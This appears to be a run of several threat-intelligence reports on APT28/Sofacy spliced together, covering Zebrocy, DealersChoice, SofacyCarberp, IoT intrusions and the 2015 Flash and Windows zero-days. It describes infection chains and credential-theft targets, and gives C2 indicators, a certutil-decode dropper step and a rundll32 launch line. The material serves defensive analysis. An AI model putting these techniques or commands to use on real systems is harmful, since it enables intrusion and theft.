One certificate was generated locally on what appeared to be a HP-UX box , and another was generated on 8569985.securefastserver.com with an email address root@8569985.securefastserver.com , as seen here for their nethostnet.com domain .
This certificate configuration is ignored by the malware .
Sofacy , one of the most active APT we monitor , continues to spearphish their way into targets , reportedly widely phishes for credentials , and infrequently participates in server side activity ( including host compromise with BeEF deployment , for example ) .
KSN visibility and detections suggests a shift from their early 2017 high volume NATO spearphish targeting towards the middle east and Central Asia , and finally moving their focus further east into late 2017 .
Their operational security is good .
Their campaigns appear to have broken out into subsets of activity and malware involving GAMEFISH , Zebrocy , and SPLM , to name a few .
Their evolving and modified SPLM / CHOPSTICK / XAgent code is a long-standing part of Sofacy activity , however much of it is changing .
We ’ll cover more recent 2018 change in their targeting and the malware itself at SAS 2018 .
A journey to Zebrocy land .
The Sednit group – also known as APT28 , Fancy Bear , Sofacy or STRONTIUM – has been operating since at least 2004 and has made headlines frequently in past years .
Recently , we unveiled the existence of a UEFI rootkit , called LoJax , which we attribute to the Sednit group .
This is a first for an APT group , and shows Sednit has access to very sophisticated tools to conduct its espionage operations .
Three years ago , the Sednit group unleashed new components targeting victims in various countries in the Middle East and Central Asia .
Since then , the number and diversity of components has increased drastically .
ESET researchers and colleagues from other companies have documented these components ; however , in this article we will focus on what ’s beyond the compromise , what the operators do once a victim system is running a Zebrocy Delphi backdoor .
At the end of August 2018 , the Sednit group launched a spearphishing email campaign where it distributed shortened URLs that delivered the first stage of Zebrocy components .
In the past , Sednit used a similar technique for credential phishing .
However , it is unusual for the group to use this technique to deliver one of its malware components directly .
Previously , it had used exploits to deliver and execute the first stage malware , while in this campaign the group relied entirely on social engineering to lure victims into running the first part of the chain .
The screenshot in Figure 1 shows Bitly statistics for the shortened URL used in this campaign .
While ESET telemetry data indicates that this URL was delivered by spearphishing emails , we don’t have a sample of such an email .
The shortened URL leads the victim to an IP-address-based URL , where the archived payload is located .
Unfortunately , without the email message , we don’t know if there are any instructions for the user , if there is any further social engineering , or if it relies solely on the victim ’s curiosity .
The archive contains two files ; the first is an executable file , while the second is a decoy PDF document .
Note there is a typo in the executable ’s filename ; Once the binary is executed , a password prompt dialog box opens .
The result of the password validation will always be wrong , but after the apparent validation attempt , the decoy PDF document is opened .
That document appears to be empty , but the downloader , which is written in Delphi , continues running in the background .
The IP address is also used in the URL hardcoded into the first binary downloader .
The Stage-1 downloader will download and execute a new downloader , written in C++ , not so different from other Zebrocy downloaders .
Once again this downloader is as straightforward as the Zebrocy gang ’s other downloaders .
It creates an ID and it downloads a new , interesting backdoor , ( this time ) written in Delphi .
As we explained in our most recent blogpost about Zebrocy , the configuration of the backdoor is stored in in the resource section and is split into four different hex-encoded , encrypted blobs .
These blobs contain the different parts of the configuration .
Once the backdoor sends basic information about its newly compromised system , the operators take control of the backdoor and start to send commands right away .
Hence , the time between the victim running the downloader and the operators ’ first commands is only a few minutes .
In this section we describe in more detail the commands performed manually by the operators through their Delphi backdoor .
The commands available are located in one of the configuration blobs mentioned earlier .
The number of supported commands has increased over time , with the latest version of the backdoor having more than thirty .
As we did not identify a pattern in the order which the commands are invoked , we believe the operators are executing them manually .
The first set of commands gathers information about the victim ’s computer and environment :Commands Arguments SCREENSHOT None SYS_INFO None GET_NETWORK None SCAN_ALL None .
The commands above are commonly executed when the operators first connect to a newly activated backdoor .
They don’t have any arguments , and they are quite self-explanatory .
Other commands commonly seen executed shortly after these backdoors are activated .
Those who already have read our previous articles about Zebrocy will notice that more or less the same kind of information is sent , over and over again by previous stages .
This information is requested within a few minutes of initial compromise and the amount of data the operator will have to deal with is quite considerable .
In order to collect even more information , from time to time the Zebrocy operators upload and use dumpers on victims ’ machines .
The current dumpers have some similarities with those previously used by the group .
In this case , Yandex Browser , Chromium , 7Star Browser ( a Chromium-based browser ) , and CentBrowser are targeted , as well as versions of Microsoft Outlook from 1997 through 2016 .
These dumpers create log files indicating the presence or absence of potential databases to dump :Command Arguments DOWNLOAD_LIST C:\ProgramData\Office\MS\out.txt , C:\ProgramData\Office\MS\text.txt .
These dumpers are quickly removed once they have done their job .
Moreover , the backdoor contains a list of filenames related to credentials from software listed below ( database names ) :key3.db Firefox private keys ( now named key4.db ) cert8.db Firefox certificate database logins.json Firefox encrypted password database account.cfn The Bat ! ( email client ) account credentials wand.dat Opera password database .
The operators retrieve these files on the machine using the DOWNLOAD_LIST command .
This command can be used when the operators are aware of the presence of interesting files on the computer .
Finally , depending on how interesting the victim is , they malware operators may deploy another custom backdoor .
This backdoor is executed using the CMD_EXECUTE command .
There are some interesting facts here .
First , they use COM object hijacking to make the malware persistent on the system even though the custom backdoor is installed only for a few hours .
Second , the hex-encoded string is the C&C used by the custom backdoor while in the Delphi backdoor the C&C is embedded in the configuration .
Sofacy Group’s Parallel Attacks .
The Sofacy group remains a persistent global threat .
Unit 42 and others have shown in the first half of 2018 how this threat actor group continues to target multiple organizations throughout the world with a strong emphasis on government , diplomatic and other strategic organizations primarily in North America and Europe .
Following up our most recent Sofacy research in February and March of 2018 , we have found a new campaign that uses a lesser known tool widely attributed to the Sofacy group called Zebrocy .
Zebrocy is delivered primarily via phishing attacks that contain malicious Microsoft Office documents with macros as well as simple executable file attachments .
This third campaign is consistent with two previously reported attack campaigns in terms of targeting : the targets were government organizations dealing with foreign affairs .
In this case however the targets were in different geopolitical regions .
An interesting difference we found in this newest campaign was that the attacks using Zebrocy cast a far wider net within the target organization : the attackers sent phishing emails to a an exponentially larger number of individuals .
The targeted individuals did not follow any significant pattern , and the email addresses were found easily using web search engines .
This is a stark contrast with other attacks commonly associated with the Sofacy group where generally no more than a handful of victims are targeted within a single organization in a focus-fire style of attack .
In addition to the large number of Zebrocy attacks we discovered , we also observed instances of the Sofacy group leveraging the Dynamic Data Exchange ( DDE ) exploit technique previously documented by McAfee .
The instances we observed , however , used the DDE exploit to deliver different payloads than what was observed previously .
In one instance the DDE attack was used to deliver and install Zebrocy .
In another instance , the DDE attack was used to deliver an open-source penetration testing toolkit called Koadic .
The Sofacy group has leveraged open source or freely available tools and exploits in the past but this is the first time that Unit 42 has observed them leveraging the Koadic toolkit .
In our February report , we discovered the Sofacy group using Microsoft Office documents with malicious macros to deliver the SofacyCarberp payload to multiple government entities .
In that report , we documented our observation that the Sofacy group appeared to use conventional obfuscation techniques to mask their infrastructure attribution by using random registrant and service provider information for each of their attacks .
In particular , we noted that the Sofacy group deployed a webpage on each of the domains .
This is odd because attackers almost never set up an actual webpage on adversary C2 infrastructure .
Even stranger , each webpage contained the same content within the body .
Since that report , we continued our research into this oddity .
Using this artifact , we were able to pivot and discover another attack campaign using the DealersChoice exploit kit with similar victimology to what we saw in February .
Continuing to use this artifact , we discovered another domain with the same content body , supservermgr.com .
This domain was registered on December 20 , 2017 and within a few days was resolving to 92.222.136.105 , which belonged to a well-known VPS provider often used by the Sofacy group .
Unfortunately , at the time of collection , the C2 domain had been sinkholed by a third party .
Based on dynamic and static analysis of the malware sample associated with the supservermgr.com domain however , we were able to determine several unique artifacts which allowed us to expand our dataset and discover additional findings .
First , we determined the sample we collected , d697160aecf152a81a89a6b5a7d9e1b8b5e121724038c676157ac72f20364edc was attempting to communicate to its C2 at http://supservermgr.com/sys/upd/pageupd.php to retrieve a Zebrocy AutoIT downloader .
Because the domain had been sinkholed , this activity could not be completed .
Using AutoFocus , we pivoted from the user agent string to expand our data set to three additional Zebrocy samples using the exact same user agent .
This led us to additional infrastructure for Zebrocy at 185.25.51.198 and 185.25.50.93 .
At this point we had collected nearly thirty samples of Zebrocy in relation to the original sample and its associated C2 domain .
Additional pivoting based on artifacts unique to this malware family expanded our dataset to hundreds of samples used over the last several years .
Most of the additional samples were the Delphi and AutoIT variants as reported by ESET .
However , several of the collected samples were a C++ variant of the Zebrocy downloader tool .
In addition , we discovered evidence of a completely different payload in Koadic being delivered as well .
Also , we found the IP address 185.25.50.93 hosting C2 services for a Delphi backdoor that ESET ’s report states is the final stage payload for these attacks .
Please note this is not a comprehensive chart of all Zebrocy and Koadic samples we were able to collect .
Only samples mentioned or relevant to the relational analysis have been included .
From the 185.25.50.93 C2 IP , we discovered another hard-coded user agent being used by Zebrocy :Mozilla ( Windows NT 6.1 ; WOW64 ) WinHttp/1.6.3.8 ( WinHTTP/5.1 ) like Gecko .
We observed several samples of Zebrocy using this user agent targeting the foreign affairs ministry of a large Central Asian nation .
Pivoting off of this artifact provided us additional Zebrocy samples .
One sample in particular , cba5ab65a24be52214736bc1a5bc984953a9c15d0a3826d5b15e94036e5497df used yet another unique user agent string in combination with the previous user agent for its C2 : Mozilla v5.1 ( Windows NT 6.1 ; rv : 6.0.1 ) Gecko Firefox .
A malware sample using two separate unique user agent strings is uncommon .
A closer examination of the tool revealed the second user agent string was from a secondary payload that was retrieved by the cba5ab65a24be52214736bc1a5bc984953a9c15d0a3826d5b15e94036e5497df sample .
Pivoting from the Mozilla v5.1 user agent revealed over forty additional Zebrocy samples , with several again targeting the same Central Asian nation .
Two samples specifically , 25f0d1cbcc53d8cfd6d848e12895ce376fbbfaf279be591774b28f70852a4fd8 and 115fd8c619fa173622c7a1e84efdf6fed08a25d3ca3095404dcbd5ac3deb1f03 provided additional artifacts we were able to pivot from to discover weaponized documents to deliver Zebrocy as well as a Koadic .
Examining the use of the unique user agents ’ strings over time shows that while previously only the Mozilla user agent was in use , since mid 2017 all three user agent strings have been used by the Zebrocy tool for its C2 communications .
The two weaponized documents we discovered leveraging DDE were of particular interest due to victimology and a change in tactics .
While examining 25f0d1cbcc53d8cfd6d848e12895ce376fbbfaf279be591774b28f70852a4fd8 , we were able to pivot from its C2220.158.216.127 to gather additional Zebrocy samples as well as a weaponized document .
This document 85da72c7dbf5da543e10f3f806afd4ebf133f27b6af7859aded2c3a6eced2fd5 appears to have been targeting a North American government organization dealing with foreign affairs .
It leveraged DDE to retrieve and install a payload onto the victim host .
A decoy document is deployed in this attack , with the contents purporting be a publicly available document from the United Nations regarding the Republic of Uzbekistan .
The creator of the weaponized document appended their DDE instructions to the end of the document after all of the decoy contents .
When the document is opened in Word , the instructions are not immediately visible , as Word does not display these fields contents by default .
As you can see in the following screenshot , simply attempting to highlight the lines in which the DDE instructions reside does not display them .
Enabling the “ Toggle Field Codes ” feature reveals the DDE instructions to us and shows that the author had set instructions to size 1 font and with a white coloring .
The use of a white font coloring to hide contents within a weaponized document is a technique we had previously reported being used by the Sofacy group in a malicious macro attack .
The DDE instructions attempt to run the following the following command on the victim host , which attempts to download and execute a payload from a remote server .
During our analysis , we observed this DDE downloading and executing a Zebrocy AutoIt downloader f27836430742c9e014e1b080d89c47e43db299c2e00d0c0801a2830b41b57bc1 , configured to attempt to download an additional payload from 220.158.216.127 .
The DDE instructions also included another command that it did not run , which suggests it is an artifact of a prior version of this delivery document .
The following shows this unused command , which exposed an additional server within Sofacy ’s infrastructure would download and execute an encoded PowerShell script from 92.114.92.102 .
The unused command above appears to be related to previous attacks , specifically attacks that occurred in November 2017 as discussed by McAfee and ESET .
The payload delivered in these November 2017 attacks using DDE enabled documents was SofacyCarberp , which differs from the Zebrocy downloader delivered in the February 2018 attacks .
 115fd8c619fa173622c7a1e84efdf6fed08a25d3ca3095404dcbd5ac3deb1f03 was another Zebrocy sample we were able to pivot from by gathering additional samples connecting to its C2 86.106.131.177 .
The additional samples targeted the same large Central Asian nation state as previously mentioned but more interestingly , one of the samples was a weaponized document also leveraging DDE and containing a non-Zebrocy payload .
The payload turned out to be an open source penetration test toolkit called Koadic .
It is a toolkit similar to Metasploit or PowerShell Empire and is freely available to anyone on Github .
The RTF document 8cf3bc2bf36342e844e9c8108393562538a9af2a1011c80bb46416c0572c86ff was very small in size at 264 bytes .
The contents above use the DDE functionality in Microsoft Word to run a PowerShell script to download the Koadic payload from a remote server , save it as an executable file on the system and then execute the payload .
The Sofacy group continues their targeted attack campaigns in 2018 .
As mentioned in this blog , Sofacy is carrying out parallel campaigns to attack similar targets around the world but with different toolsets .
The Zebrocy tool associated with this current strain of attacks is constructed in several different forms based on the programming language the developer chose to create the tool .
We have observed Delphi , AutoIt , and C++ variants of Zebrocy , all of which are related not only in their functionality , but also at times by chaining the variants together in a single attack .
These attacks are still largely perpetrated via spear phishing campaigns , whether via simple executable attachments in hopes that a victim will launch the file to using a previously observed DDE exploitation technique .
Sofacy Uses DealersChoice to Target European Government Agency .
Back in October 2016 , Unit 42 published an initial analysis on a Flash exploitation framework used by the Sofacy threat group called DealersChoice .
The attack consisted of Microsoft Word delivery documents that contained Adobe Flash objects capable of loading additional malicious Flash objects embedded in the file or directly provided by a command and control server .
Sofacy continued to use DealersChoice throughout the fall of 2016 , which we also documented in our December 2016 publication discussing Sofacy ’s larger campaign .
On March 12 and March 14 , we observed the Sofacy group carrying out an attack on a European government agency involving an updated variant of DealersChoice .
The updated DealersChoice documents used a similar process to obtain a malicious Flash object from a C2 server , but the inner mechanics of the Flash object contained significant differences in comparison to the original samples we analyzed .
One of the differences was a particularly clever evasion technique : to our knowledge this has never been observed in use .
With the previous iterations of DealersChoice samples , the Flash object would immediately load and begin malicious tasks .
In the March attacks , the Flash object is only loaded if the user scrolls through the entire content of the delivery document and views the specific page the Flash object is embedded on .
Also , DealersChoice requires multiple interactions with an active C2 server to successfully exploit an end system .
The overall process to result in a successful exploitation is :User must open the Microsoft Word email attachment ;User must scroll to page three of the document , which will run the DealersChoice Flash object ;The Flash object must contact an active C2 server to download an additional Flash object containing exploit code ;The initial Flash object must contact the same C2 server to download a secondary payload ;Victim host must have a vulnerable version of Flash installed .
The attack involving this updated variant of DealersChoice was targeting a European government organization .
The attack relied on a spear-phishing email with a subject of “ Defence & Security 2018 Conference Agenda ” that had an attachment with a filename of “ Defence&Security_2018_Conference_Agenda.docx ” .
The attached document contains a conference agenda that the Sofacy group appears to have copied directly from the website for the “ Underwater Defence & Security 2018 Conference ” here .
Opening the attached “ Defence & Security 2018 Conference Agenda.docx ” file does not immediately run malicious code to exploit the system .
Instead , the user must scroll to the third page of the document , which will load a Flash object that contains ActionScript that will attempt to exploit the user ’s system to install a malicious payload .
The Flash object embedded within this delivery document is a variant of an exploit tool that we call DealersChoice .
This suggests that the Sofacy group is confident that the targeted individuals would be interested enough in the content to peruse through it .
We analyzed the document to determine the reason that the malicious Flash object only ran when the user scrolled to the third page .
According to the document.xml file , the DealersChoice loader SWF exists after the “ covert-shores-small.png ” image file within the delivery document .
This image file exists on the third page of the document , so the user would have to scroll down in the document to this third page to get the SWF file to run .
The user may not notice the Flash object on the page , as Word displays it as a tiny black box in the document , as seen in Figure 1 .
This is an interesting anti-sandbox technique , as it requires human interaction prior to the document exhibiting any malicious activity .
This DealersChoice Flash object shares a similar process to previous variants ; however , it appears that the Sofacy actors have made slight changes to its internal code .
Also , it appears that the actors used ActionScript from an open source video player called “ f4player ” , which is freely available on GitHub .
The Sofacy developer modified the f4player ’s ActionScript to include additional code to load an embedded Flash object .
The additions include code to decrypt an embedded Flash object and an event handler that calls a newly added function ( “ skinEvent2 ” ) that plays the decrypted object .
The above code allows DealersChoice to load a second SWF object , specifically loading it with an argument that includes a C2 URL of “ http://ndpmedia24.com/0pq6m4f.m3u8 ” .
The embedded SWF extracts the domain from the C2 URL passed to it and uses it to craft a URL to get the server ’s ‘ crossdomain.xml ’ file in order to obtain permissions to load additional Flash objects from the C2 domain .
The ActionScript relies on event listeners to call specific functions when the event “ Event.COMPLETE ” is triggered after successful HTTP requests are issued to the C2 server .
The event handlers call functions with the following names , which includes an incrementing number that represents the order in which the functions are called : onload1 , onload2 , onload3 , onload5 .
With these event handlers created , the ActionScript starts by gathering system data from the flash.system.Capabilities.serverString property ( just like in the original DealersChoice.B samples ) and issues an HTTP GET with the system data as a parameter to the C2 URL that was passed as an argument to the embedded SWF when it was initially loaded .
When this HTTP request completes , the event listener will call the ‘ onload1 ’ function .
The ‘ onload1 ’ function parses the response data from the request to the C2 URL using regular expressions .
The regular expressions suggest that the C2 server responds with content that is meant to resemble HTTP Live Steaming ( HLS ) traffic , which is a protocol that uses HTTP to deliver audio and video files for streaming .
The use of HLS coincides with the use of ActionScript code from the f4player to make the traffic seem legitimate .
The variables storing the results of the regular expression matches are used within the ActionScript for further interaction with the C2 server .
The ‘ onload1 ’ function then sends an HTTP GET request to the C2 domain using the value stored in the ‘ r3 ’ variable as a URL .
When this HTTP request completes , the event listener will call the ‘ onload2 ’ function .
The ‘ onload2 ’ function decrypts the response received from the HTTP request issued in ‘ onload1 ’ function .
It does so by calling a sub-function to decrypt the content , using the value stored in the ‘ r1 ’ variable as a key .
The sub-function to decrypt the content skips the first 4 bytes , suggesting that the first four bytes of the downloaded content is in cleartext ( most likely the “ FWS ” or “ CWS ” header to look legitimate ) .
After decrypting the content , the ‘ onload2 ’ function will issue another HTTP GET request with the system data as a parameter , but this time to the C2 using a URL from the ‘ r4 ’ variable .
When this request completes , the event listener will call the ‘ onload3 ’ function .
The ‘ onload3 ’ function will take the response to the HTTP request in ‘ onload2 ’ and treat it as the payload .
The ActionScript will read each byte of the C2 response and get the hexadecimal value .
This hexadecimal string will most likely be a string of shellcode that will contain and decrypt the ultimate portable executable ( PE ) payload .
The string of comma separated hexadecimal values is passed as a parameter when loading the SWF file downloaded in ‘ onload2 ’ .
This function creates an event listener for when the SWF file is successfully loaded , which will call the ‘ onload5 ’ function .
The ‘ onload5 ’ function is responsible for adding the newly loaded SWF object as a child object .
This loads the SWF file , effectively running the malicious code on the system .
During our analysis , we were unable to coerce the C2 into providing a malicious SWF or payload .
As mentioned in our previous blogs on DealersChoice , the payload of choice for previous variants was SofacyCarberp ( Seduploader ) , but we have no evidence to suggest this tool was used in this attack .
We are actively researching and will update this blog in the event we discover the malicious Flash object and payload delivered in this attack .
The delivery document used in this attack was last modified by a user named ‘ Nick Daemoji ’ , which provides a linkage to previous Sofacy related delivery documents .
The previous documents that used this user name were macro-laden delivery documents that installedpayloads , as discussed in Talos ’ blog .
This overlap also points to a similar social engineering theme between these two campaigns , as both used content from upcoming military and defense conferences as a lure .
The Sofacy threat group continues to use their DealersChoice framework to exploit Flash vulnerabilities in their attack campaigns .
In the most recent variant , Sofacy modified the internals of the malicious scripts , but continues to follow the same process used by previous variants by obtaining a malicious Flash object and payload directly from the C2 server .
Unlike previous samples , this DealersChoice used a DOCX delivery document that required the user to scroll through the document to trigger the malicious Flash object .
0cd9ac328d858d8d83c9eb73bfdc59a958873b3d71b24c888d7408d9512a41d7 ( Defence&Security_2018_Conference_Agenda.docx ) ndpmedia24.com .
Corporate IoT – a path to intrusion .
Several sources estimate that by the year 2020 some 50 billion IoT devices will be deployed worldwide .
IoT devices are purposefully designed to connect to a network and many are simply connected to the internet with little management or oversight .
Such devices still must be identifiable , maintained , and monitored by security teams , especially in large complex enterprises .
Some IoT devices may even communicate basic telemetry back to the device manufacturer or have means to receive software updates .
In most cases however , the customers ’ IT operation center don’t know they exist on the network .
In 2016 , the Mirai botnet was discovered by the malware research group MalwareMustDie .
The botnet initially consisted of IP cameras and basic home routers , two types of IoT devices commonly found in the household .
As more variants of Mirai emerged , so did the list IoT devices it was targeting .
The source code for the malware powering this botnet was eventually leaked online .
In 2018 , hundreds of thousands of home and small business networking and storage devices were compromised and loaded with the so-called “ VPN Filter ” malware .
The FBI has publicly attributed this activity to a nation-state actor and took subsequent actions to disrupt this botnet , although the devices would remain vulnerable to re-infection unless proper firmware or security controls were put in place by the user .
There were also multiple press reports of cyber-attacks on several devices during the opening ceremonies for the 2018 Olympic Games in PyeongChang .
Officials did confirm a few days later that they were a victim of malicious cyber-attacks that prevented attendees from printing their tickets to the Games and televisions and internet access in the main press center simply stopped working .
In April , security researchers in the Microsoft Threat Intelligence Center discovered infrastructure of a known adversary communicating to several external devices .
Further research uncovered attempts by the actor to compromise popular IoT devices ( a VOIP phone , an office printer , and a video decoder ) across multiple customer locations .
The investigation uncovered that an actor had used these devices to gain initial access to corporate networks .
In two of the cases , the passwords for the devices were deployed without changing the default manufacturer ’s passwords and in the third instance the latest security update had not been applied to the device .
These devices became points of ingress from which the actor established a presence on the network and continued looking for further access .
Once the actor had successfully established access to the network , a simple network scan to look for other insecure devices allowed them to discover and move across the network in search of higher-privileged accounts that would grant access to higher-value data .
After gaining access to each of the IoT devices , the actor ran tcpdump to sniff network traffic on local subnets .
They were also seen enumerating administrative groups to attempt further exploitation .
As the actor moved from one device to another , they would drop a simple shell script to establish persistence on the network which allowed extended access to continue hunting .
Analysis of network traffic showed the devices were also communicating with an external command and control ( C2 ) server .
The following IP addresses are believed to have been used by the actor for command and control ( C2 ) during these intrusions :167.114.153.55 94.237.37.28 82.118.242.171 31.220.61.251 128.199.199.187 .
We attribute the attacks on these customers using three popular IoT devices to an activity group that Microsoft refers to as STRONTIUM .
Since we identified these attacks in the early stages , we have not been able to conclusively determine what STRONTIUM ’s ultimate objectives were in these intrusions .
Over the last twelve months , Microsoft has delivered nearly 1400 nation-state notifications to those who have been targeted or compromised by STRONTIUM .
One in five notifications of STRONTIUM activity were tied to attacks against non-governmental organizations , think tanks , or politically affiliated organizations around the world .
The remaining 80% of STRONTIUM attacks have largely targeted organizations in the following sectors : government , IT , military , defense , medicine , education , and engineering .
We have also observed and notified STRONTIUM attacks against Olympic organizing committees , anti-doping agencies , and the hospitality industry .
The “ VPN Filter ” malware has also been attributed to STRONTIUM by the FBI .
Today we are sharing this information to raise awareness of these risks across the industry and calling for better enterprise integration of IoT devices , particularly the ability to monitor IoT device telemetry within enterprise networks .
Today , the number of deployed IoT devices outnumber the population of personal computers and mobile phones , combined .
With each networked IoT device having its own separate network stack , it ’s quite easy to see the need for better enterprise management , especially in today ’s “ bring your own device ” world .
While much of the industry focuses on the threats of hardware implants , we can see in this example that adversaries are happy to exploit simpler configuration and security issues to achieve their objectives .
These simple attacks taking advantage of weak device management are likely to expand as more IoT devices are deployed in corporate environments .
Upon conclusion of our investigation , we shared this information with the manufacturers of the specific devices involved and they have used this event to explore new protections in their products .
However , there is a need for broader focus across IoT in general , both from security teams at organizations that need to be more aware of these types of threats , as well as from IoT device makers who need to provide better enterprise support and monitoring capabilities to make it easier for security teams to defend their networks .
Below are a series of indicators Microsoft has observed as active during the STRONTIUM activity discussed in this article .
Command-and-Control ( C2 ) IP addresses :167.114.153.55 94.237.37.28 82.118.242.171 31.220.61.251 128.199.199.187 .
Operation RussianDoll : Adobe & Windows Zero-Day Exploits Likely Leveraged by Russia ’s APT28 in Highly-Targeted Attack .
FireEye Labs recently detected a limited APT campaign exploiting zero-day vulnerabilities in Adobe Flash and a brand-new one in Microsoft Windows .
Using the Dynamic Threat Intelligence Cloud ( DTI ) , FireEye researchers detected a pattern of attacks beginning on April 13th , 2015 .
Adobe independently patched the vulnerability ( CVE-2015-3043 ) in APSB15-06 .
Through correlation of technical indicators and command and control infrastructure , FireEye assess that APT28 is probably responsible for this activity .
Microsoft is aware of the outstanding local privilege escalation vulnerability in Windows ( CVE-2015-1701 ) .
While there is not yet a patch available for the Windows vulnerability , updating Adobe Flash to the latest version will render this in-the-wild exploit innocuous .
We have only seen CVE-2015-1701 in use in conjunction with the Adobe Flash exploit for CVE-2015-3043 .
The Microsoft Security Team is working on a fix for CVE-2015-1701 .
The high level flow of the exploit is as follows :User clicks link to attacker controlled website .
HTML/JS launcher page serves Flash exploit .
Flash exploit triggers CVE-2015-3043 , executes shellcode .
Shellcode downloads and runs executable payload .
Executable payload exploits local privilege escalation ( CVE-2015-1701 ) to steal System token .
The Flash exploit is served from unobfuscated HTML/JS .
The launcher page picks one of two Flash files to deliver depending upon the target ’s platform ( Windows 32 versus 64bits ) .
The Flash exploit is mostly unobfuscated with only some light variable name mangling .
The attackers relied heavily on the CVE-2014-0515 Metasploit module , which is well documented .
It is ROPless , and instead constructs a fake vtable for a FileReference object that is modified for each call to a Windows API .
The payload exploits a local privilege escalation vulnerability in the Windows kernel if it detects that it is running with limited privileges .
It uses the vulnerability to run code from userspace in the context of the kernel , which modifies the attacker ’s process token to have the same privileges as that of the System process .
The primary difference between the CVE-2014-0515 metasploit module and this exploit is , obviously , the vulnerability .
CVE-2014-0515 exploits a vulnerability in Flash ’s Shader processing , whereas CVE-2015-3043 exploits a vulnerability in Flash ’s FLV processing .
The culprit FLV file is embedded within AS3 in two chunks , and is reassembled at runtime .
A buffer overflow vulnerability exists in Adobe Flash Player ( <=17.0.0.134 ) when parsing malformed FLV objects .
Attackers exploiting the vulnerability can corrupt memory and gain remote code execution .
In the exploit , the attacker embeds the FLV object directly in the ActionScript code , and plays the video using NetStream class .
Files of the FLV file format contain a sequence of Tag structures .
Beginning within the data field , all contents of the FLV stream become 0xEE .
Consequently , the data and lastsize fields are mangled .
Since the size is controlled by the attacker , it ’s possible to overflow the fixed size buffer with certain data .
As the previous picture demonstrated , the followed Vector object ’s length field being overflowed as 0x80007fff , which enables the attacker to read/write arbitrary data within user space .
Shellcode is passed to the exploit from HTML in flashvars .
The shellcode downloads the next stage payload , which is an executable passed in plaintext , to the temp directory with UrlDownloadToFileA , which it then runs with WinExec .
This exploit delivers a malware variant that shares characteristics with the APT28 backdoors CHOPSTICK and CORESHELL malware families , both described in our APT28 whitepaper .
The malware uses an RC4 encryption key that was previously used by the CHOPSTICK backdoor .
And the C2 messages include a checksum algorithm that resembles those used in CHOPSTICK backdoor communications .
In addition , the network beacon traffic for the new malware resembles those used by the CORESHELL backdoor .
Like CORESHELL , one of the beacons includes a process listing from the victim host .
And like CORESHELL , the new malware attempts to download a second-stage executable .
One of the C2 locations for the new payload , 87.236.215.246 , also hosts a suspected APT28 domain ssl-icloud.com .
The same subnet ( 87.236.215.0 / 24 ) also hosts several known or suspected APT28 domains .
The payload contains an exploit for the unpatched local privilege escalation vulnerability CVE-2015-1701 in Microsoft Windows .
The exploit uses CVE-2015-1701 to execute a callback in userspace .
The callback gets the EPROCESS structures of the current process and the System process , and copies data from the System token into the token of the current process .
Upon completion , the payload continues execution in usermode with the privileges of the System process .
Because CVE-2015-3043 is already patched , this remote exploit will not succeed on a fully patched system .
If an attacker wanted to exploit CVE-2015-1701 , they would first have to be executing code on the victim ’s machine .
Barring authorized access to the victim ’s machine , the attacker would have to find some other means , such as crafting a new Flash exploit , to deliver a CVE-2015-1701 payload .
Microsoft is aware of CVE-2015-1701 and is working on a fix .
CVE-2015-1701 does not affect Windows 8 and later .
Sofacy Attacks Multiple Government Entities .
Release_Time : 2018-02-28Report_URL : https://unit42.paloaltonetworks.com/unit42-sofacy-attacks-multiple-government-entities/The Sofacy group ( AKA APT28 , Fancy Bear , STRONTIUM , Sednit , Tsar Team , Pawn Storm ) is a well-known adversary that remains highly active in the new calendar year of 2018 .
Unit 42 actively monitors this group due to their persistent nature globally across all industry verticals .
Recently , we discovered a campaign launched at various Ministries of Foreign Affairs around the world .
Interestingly , there appear to be two parallel efforts within the campaign , with each effort using a completely different toolset for the attacks .
In this blog , we will discuss one of the efforts which leveraged tools that have been known to be associated with the Sofacy group .
At the beginning of February 2018 , we discovered an attack targeting two government institutions related to foreign affairs .
These entities are not regionally congruent , and the only shared victimology involves their organizational functions .
Specifically , one organization is geographically located in Europe and the other in North America .
The initial attack vector leveraged a phishing email , using the subject line of Upcoming Defense events February 2018 and a sender address claiming to be from Jane ’s 360 defense events events@ihsmarkit.com .
Jane ’s by IHSMarkit is a well-known supplier of information and analysis often times associated with the defense and government sector .
Analysis of the email header data showed that the sender address was spoofed and did not originate from IHSMarkit at all .
The lure text in the phishing email claims the attachment is a calendar of events relevant to the targeted organizations and contained specific instructions regarding the actions the victim would have to take if they had “ trouble viewing the document ” .
The attachment itself is an Microsoft Excel XLS document that contains malicious macro script .
The document presents itself as a standard macro document but has all of its text hidden until the victim enables macros .
Notably , all of the content text is accessible to the victim even before macros are enabled .
However , a white font color is applied to the text to make it appear that the victim must enable macros to access the content .
The code above changes the font color to black within the specified cell range and presents the content to the user .
On initial inspection , the content appears to be the expected legitimate content , however , closer examination of the document shows several abnormal artifacts that would not exist in a legitimate document .
Figure 2 below shows how the delivery document initially looks and the transformation the content undergoes as the macro runs .
As mentioned in a recent ISC diary entry , the macro gets the contents of cells in column 170 in rows 2227 to 2248 to obtain the base64 encoded payload .
The macro prepends the string —–BEGIN CERTIFICATE—– to the beginning of the base64 encoded payload and appends —–END CERTIFICATE—– to the end of the data .
The macro then writes this data to a text file in the C:\Programdata folder using a random filename with the .txt extension .
The macro then uses the command certutil -decode to decode the contents of this text file and outputs the decoded content to a randomly named file with a .exe extension in the C:\Programdata folder .
The macro sleeps for two seconds and then executes the newly dropped executable .
The newly dropped executable is a loader Trojan responsible for installing and running the payload of this attack .
We performed a more detailed analysis on this loader Trojan , which readers can view in this report ’s appendix .
Upon execution , the loader will decrypt the embedded payload ( DLL ) using a custom algorithm , decompress it and save it to the following file : %LOCALAPPDATA%\cdnver.dll .
The loader will then create the batch file %LOCALAPPDATA%\cdnver.bat , which it will write the following :start rundll32.exe “ C:\Users\user\AppData\Local\cdnver.dll ” .
The loader Trojan uses this batch file to run the embedded DLL payload .
For persistence , the loader will write the path to this batch file to the following registry key .
The cdnver.dll payload installed by the loader executable is a variant of the SofacyCarberp payload , which is used extensively by the Sofacy threat group .
Overall , SofacyCarberp does initial reconnaissance by gathering system information and sending it to the C2 server prior to downloading additional tools to the system .
This variant of SofacyCarberp was configured to use the following domain as its C2 server : cdnverify.net .
The loader and the SofacyCarberp sample delivered in this attack is similar to samples we have analyzed in the past but contains marked differences .
These differences include a new hashing algorithm to resolve API functions and to find running browser processes for injection , as well as changes to the C2 communication mechanisms .
It appears that Sofacy may have used an open-source tool called Luckystrike to generate the delivery document and/or the macro used in this attack .
